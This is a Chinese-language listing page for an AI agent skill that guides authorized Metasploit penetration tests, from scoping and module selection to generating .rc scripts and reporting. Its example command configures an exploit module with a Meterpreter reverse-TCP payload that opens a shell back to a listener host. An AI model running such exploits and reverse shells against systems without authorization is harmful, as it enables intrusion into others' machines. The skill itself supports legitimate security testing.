简介
metasploit
原始描述
Plan and execute authorized Metasploit assessments for OpenClaw tasks with repeatable workflows, including target triage, exploit module selection, option tu...
通过你的 Agent 添加
安装目录:openclaw-metasploit/(目录名取自 SKILL.md 的 frontmatter name,不是 URL 里的 slug)。
点「快速安装」复制一段指令贴给你的 Agent:它会先下载到 /tmp、把文件清单和校验值给你看,你确认之后才解压安装。不会一步装完、也不改系统其它位置。
或者手动安装
包是「根级 SKILL.md + 作者附带的文件」,解压到上面的 <slug>/ 目录即可;
目录名不用换,也不要把包直接解压到 skills 根目录。
技能申请的权限由作者决定:装之前先看清单里有没有脚本、它会读写什么。
技能正文
name: openclaw-metasploit description: Plan and execute authorized Metasploit assessments for OpenClaw tasks with repeatable workflows, including target triage, exploit module selection, option tuning, .rc generation, controlled execution, and evidence-focused reporting. Use when requests involve msfconsole operations, module/payload matching, exploit/check automation, session verification, or pentest result writeups.
OpenClaw Metasploit
Overview
Use this skill to run deterministic and auditable Metasploit workflows for authorized security testing.
Prefer a check-first workflow and generate repeatable .rc scripts via scripts/build_rc.py instead of ad hoc console typing.
Workflow Decision Tree
- Confirm authorization and scope before any technical step.
- Collect target facts: service, version, network position, and constraints.
- Select candidate modules and payloads using module-selection.md.
- Generate and review a resource script with
scripts/build_rc.py. - Execute in
msfconsolewithcheckbeforerunorexploit. - Validate outcome with session and artifact evidence.
- Produce a concise report with reproducible commands and findings.
Step 1: Confirm Scope and Safety
Require explicit confirmation of:
- Target ownership or testing authorization
- In-scope hosts, ports, and time window
- Forbidden techniques (DoS, persistence, data exfiltration)
If scope is unclear, stop and ask for clarification before proceeding.
Step 2: Build Target Context
Capture minimum actionable context:
- Host and network placement
- Service and version fingerprint
- Authentication state
- Environmental constraints (egress filtering, AV/EDR, uptime sensitivity)
Use this context to justify each module choice.
Step 3: Select Modules and Payloads
Use search and info in msfconsole to narrow candidates:
search type:exploit cve:2023 service:http
info exploit/linux/http/<module_name>
show options
show payloads
Choose modules by:
- Reliability and target compatibility
- Required options completeness
- Post-exploit objective fit (shell type, architecture, privilege level)
For common mappings and tradeoffs, read module-selection.md.
Step 4: Generate Resource Script
Generate reproducible execution scripts:
python3 scripts/build_rc.py \
--module exploit/linux/http/example_module \
--rhosts 10.10.10.15 \
--rport 8080 \
--payload linux/x64/meterpreter/reverse_tcp \
--lhost 10.10.10.5 \
--lport 4444 \
--set TARGETURI=/app \
--check \
--job \
--output run_example.rc
Review generated commands before execution:
- Confirm no out-of-scope hosts
- Confirm payload and listener values
- Confirm optional settings are intentional
Step 5: Execute in msfconsole
Run with logging enabled:
msfconsole -q -r run_example.rc
Inside msfconsole, verify:
checkoutput statusrunorexploitresultsessions -lvisibility
If exploitation fails, adjust one variable at a time and re-run.
Step 6: Validate and Capture Evidence
Minimum evidence set:
- Module path and key options
- Command/script used for execution
- Check result and exploit result
- Session details (type, user, host)
- Relevant non-sensitive proof artifacts
Use workflow.md for command-level checklists and reporting structure.
Step 7: Report
Produce output with:
- Objective and scope
- Reproducible steps
- Outcome and confidence
- Impact summary
- Recommended remediation and verification method
Keep reports concise and technically verifiable.
Resources
scripts/build_rc.py
Generate a repeatable Metasploit .rc resource script from structured options.
references/module-selection.md
Module and payload selection heuristics with common service mappings.
references/workflow.md
Command checklist for execution, troubleshooting loop, and report field requirements.
正文来自原始发布页, 版权归作者所有,许可未标注。 权利人认为有不妥,可申请下架。